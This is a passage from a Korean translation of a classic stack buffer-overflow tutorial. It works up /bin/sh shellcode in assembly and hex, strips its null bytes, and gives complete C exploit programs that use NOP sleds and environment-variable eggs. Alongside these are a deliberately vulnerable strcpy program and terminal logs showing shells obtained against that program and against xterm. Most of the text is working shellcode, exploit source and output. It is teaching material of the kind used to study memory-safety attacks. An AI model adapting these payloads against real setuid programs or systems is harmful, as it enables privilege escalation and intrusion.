           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack



 이 변경으로, 색인된 주소를 사용하고, 각각의 명령이 얼마나 많은 바이트를
차지할 것인지 쓰면, 코드는 다음과 같다:

------------------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax		# 5 bytes
        movl   $0x0, %ebx		# 5 bytes
	int    $0x80			# 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
------------------------------------------------------------------------------

 jmp에서 call까지의 거리, call에서 popl까지의 거리, 문자열의 주소에서 
배열까지의 거리, 그리고 문자열의 주소에서 워드길이의 null까지의 거리를
계산하면 이렇게 된다:

------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)		# 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax		# 5 bytes
        movl   $0x0, %ebx		# 5 bytes
	int    $0x80			# 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"		# 8 bytes
------------------------------------------------------------------------------

 좋다. 정확하게 작동되는 가 확인하기 위해, 우리는 그것을 컴파일하고 실행해야 한다.
하지만 문제가 있다. 우리의 코드는 자신을 수정하지만, 대부분의 운영체계는 코드부분을
읽을 수만 있도록 표시한다. 이런 제한을 피하기 위해, 우리는 우리가 실행하고자 하는
코드를 스택이나 데이터 지역에 위치시키고, 그것에 제어를 넘겨주어야 한다. 
그렇게 하기 위해서는, 우리의 코드를 데이터 지역의 전역배열에 위치시킬 것이다. 우리는
먼저 이진코드의 16진수 표현이 필요하다. 먼저 컴파일하고 그것을 얻기 위해, gdb를
사용하자.

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------------
* 역자주 : 위 코드중 "jmp 0x2a  # 2 bytes"부분에서 원래 "# 3 bytes"로 되어 있었으나
                잘못된 거 같아서 "2" 로 수정하였습니다.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

 작동한다! 하지만 장애물이 있다. 대부분의 경우, 우리는 문자버퍼를 오버플로우하려고
할 것이다. 우리의 쉘코드 안에서 null바이트들은 문자열의 끝으로 여겨질 것이므로,
복사는 종료될 것이다. 제대로 작동하기 위해서는 쉘코드에 null바이트가 없어야 한다.
null바이트들을 제거해 보자(그리고 동시에 더 작게 만들자)

           문제의 명령:                         대체된 명령:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

 우리의 발전된 코드:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
	movb   %eax,0x7(%esi)		# 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
					# 46 bytes total
");
}
------------------------------------------------------------------------------

 그리고 우리의 새로운 시험 프로그램:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------


                               이용 프로그램 작성하기
                              ~~~~~~~~~~~~~~~~~~~~~~~~
                               (또는, 스택 개조하기)
                              ~~~~~~~~~~~~~~~~~~~~~~~


 모든 조각들을 조합해 보자. 우리는 쉘코드를 가지고 있다. 우리는, 그것이 우리가 
버퍼를 오버플로우하는 데 사용할 문자열의 부분이 되어야 한다는 것을 알고 있다.
우리는, 복귀주소(RET)가 다시 버퍼를 가리키도록 해야 한다는 것을 알고 있다. 이 예제는
이런 점들을 증명해 줄 것이다:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------

 우리가 위에서 한 일은 large_string[]배열을 buffer[]의 주소(우리의 코드가 있게 될
곳)로 가득채운 것이다. 그런다음, 쉘코드를 large_string 문자열의 처음에 복사한다.
strcpy() 함수는 large_string을 buffer에 아무런 문자길이 확인도 하지 않은 채, 복사
할 것이고, 우리의 코드가 있는 주소로 복귀주소(RET)를 덮어쓰면서 RET를 오버플로우
할 것이다. main의 끝에 도달한 후에, 그것은 우리의 코드로 복귀되어 뛰어 넘어오려고
하고, 쉘을 실행시킨다.

 또다른 프로그램의 버퍼를 오버플로우하려고 할 때 우리가 직면하는 문제는, 버퍼
(즉, 우리의 코드)가 어느 주소에 있게 될지를 알아내려고 하는 것이다. 해답은 모든
프로그램에서 스택은 같은 주소에서 시작할 것이라는 것이다. 대부분의 프로그램들은
단 한번에 수백에서 수천 바이트 이상을 스택에 밀어 넣지 않는다. 그러므로, 스택이
어디서 시작되는 가를 앎으로써, 우리는 우리가 오버플로우하려고 하는 버퍼가 어디에
자리잡고 있는지를 추측할 수 있다. 다음은 자기 자신의 스택 포인터를 출력할 작은 
프로그램이다:

sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------

 이것이 바로 우리가 오버플로우하려는 프로그램이라고 생각하자:

vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------

 우리는 인자로써 버퍼크기와 스택 포인터(우리가 오버플로우하기를 원하는 버퍼가 
위치할 지도 모르는)로부터의 거리를 취하는 프로그램을 만들 수 있다. 교묘하게
조작하기 쉽도록, 우리는 오버플로우 문자열을 환경 변수에 밀어 넣을 것이다:

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------

 이제 우리는 버퍼와 거리(offset)이 얼마가 되어야 하는지 추측할 수 있다:

------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

 우리도 알 수 있듯이, 이것은 효율적인 프로세스가 아니다. 심지어 스택이 어디서 
시작되는 지를 알고 있는 상황에서도 거리(offset)을 추측하는 것은 거의 불가능하다.
잘 해야 몇 백번, 최악의 경우 수 천번은 시도해야 할 것이다. 문제는 우리의 코드의
주소가 어디서 시작되는지를 정확하게 추측해야 한다는 것이다. 만약 우리가 1바이트라도
더 많이 혹은 더 적게 추측한다면, 우리는 지역침입 에러(segmentation violation)혹은
잘못된 명령 에러(invalid instruction)을 겪게 될 것이다. 우리의 기회를 늘리는 한 방법은
우리의 오버플로우 버퍼의 앞부분을 NOP명령으로 채우는 것이다. 대부분의 프로세서들은
아무런 작업도 하지 않는 NOP명령을 가지고 있다. 그것은 보통 타이밍을 위한 목적으로
실행을 지연시킬 때 사용된다. 우리는 그것을 사용할 것이고 우리의 오버플로우 버퍼의
절반을 그것들로 채울것이다. 우리는 쉘코드를 한 가운데에 위치시킬 것이고, 그 뒤에
복귀주소값들이 따를 것이다. 만약 우리가 운이 좋아서 복귀주소가 NOP들로 이루어진 
문자열의 어느 곳이라도 가리킨다면,  우리의 코드에 도달하기까지 단지 실행될 것이다.
Intel 아키텍처에서는 NOP명령이 1바이트를 차지하고 기계어로 0x90으로 번역된다.
스택이 0xFF 주소에서 시작하고, S는 쉘코드, N은 NOP명령을 나타낸다고 생각하며,
새로운 스택이 어떤 모양을 갖출지 살펴보자:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack

 새로운 이용프로그램(exploit)은 다음과 같다:

exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------

 우리가 오버플로우하려고 하는 버퍼의 크기보다 100바이트 정도 더 크게 선택을 
한다고 해도 그것은 작동할 것이다. 이것은 NOP명령을 위한 많은 공간을 남기면서
우리의 코드를 우리가 오버플로우하려는 버퍼의 끝에 위치시킬 것이다. 하지만 여전히
우리가 추측한 주소로 복귀주소를 덮어쓴다. 우리가 오버플로우하려는 버퍼는 512바이트
이므로 우리는 612를 쓸 것이다. 새로운 이용 프로그램으로 우리의 시험 프로그램을
오버플로우 해보자:
 
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

 와! 첫번째 시도가 성공했다! 이 변화가 우리의 기회를 100배 증가시켰다. 버퍼
오버플로우의 실제 경우에 한 번 시도해 보자. Xt 라이브러리 상의 버퍼 오버플로우를
우리의 증명을 위해 사용할 것이다. 예를 들어, 우리는 xterm을 쓸 것이다(Xt 라이브러리와
연결된 모든 프로그램들이 취약점을 가지고 있다). 여러분은 X 서버를 실행하고 있어야
하며, 로컬 호스트로부터 서버의 접속을 허락해야 한다. DISPLAY 변수를 적절하게
설정하라.

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1짦F
                           ?
                            ?

?ㅨ@ㅸ???/bin/sh?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?








?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘








?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘?엘??엘?엘?엘?엘?
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1짦F
                           ?
                            ?

?ㅨ@ㅸ???/bin/sh?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?








?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥








?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥??








H?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?








풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?풥?
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1짦F
                           ?
                            ?

?ㅨ@ㅸ???/bin/sh?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?








?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲








?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲??








T?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?








풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?풲?
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------

 유레카! 12번도 시도하지 않아서 우리는 마법의 수를 찾아냈다. 만약에 xterm이 
suid root였다면 이것은 root쉘이 되었을 것이다.

                             작은 버퍼 오버플로우
                            ~~~~~~~~~~~~~~~~~~~~~~

 여러분이 오버플로우 하고자 하는 버퍼가 너무 작아서 쉘코드가 그것에 들어갈 수
조차 없거나 우리 코드의 주소 대신에 명령들로 복귀주소를 덮어 쓰거나, 혹은 
문자열의 앞부분을 채울 수 있는 NOP의 수가 너무 적어서 그들의 주소를 알아맞힐 
확률이 거의 없을 때가 있을 것이다. 이런 프로그램들로부터 쉘을 얻기 위해서는,
우리는 다른 방법을 써야 할 것이다. 이 특별한 접근은 여러분이 그 프로그램의 환경
변수에 접근이 가능할 때만 유효할 것이다.

 우리가 할 일은 우리의 쉘코드를 환경변수에 위치시키고 나서 이 변수의 메모리상의
주소로 버퍼를 오버플로우할 것이다. 이 방법은 또한 당신이 원하는 크기 만큼의
쉘코드를 담을 수 있는 환경변수를 만들 수 있으므로, 성공 확률을 증가시킬 것이다.

 환경 변수들은 프로그램이 시작할 때, 스택의 꼭대기에 자리잡는다. setenv()에 의한
어떠한 변경도 다른 곳에 할당된다. 그러면 프로그램이 시작할 때, 스택의 모습은
다음과 같을 것이다:

      <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

 우리의 새로운 프로그램은 쉘코드와 NOP명령을 포함한 여분의 변수를 취할 것이다.
우리의 새로운 프로그램은 이제 다음과 같다:

exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------

 취약성있는 시험 프로그램으로 새로운 프로그램을 한 번 시험해 보자:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

 신통하게 작동한다. 그럼 이제 xterm에서 해 보자.

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?








?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염








?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염??염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염??








갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?








염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?








?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염








?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염??








갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?








염??염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?








?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염??염??








갇?염?염?
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

 첫 번째 시도로 성공했다! 성공할 가능성이 확실히 증가되었다. 이용 프로그램이
여러분이 이용하고자 하는 프로그램과 얼마나 많은 환경 데이터를 비교하느냐에
따라 추측된 주소는 낮아 질 수도, 높아 질 수도 있다. 양의 거리(offset)와 음의
거리(offset) 둘 다를 가지고 실험해 보라.


                               버퍼 오버플로우 찾기
                              ~~~~~~~~~~~~~~~~~~~~~~

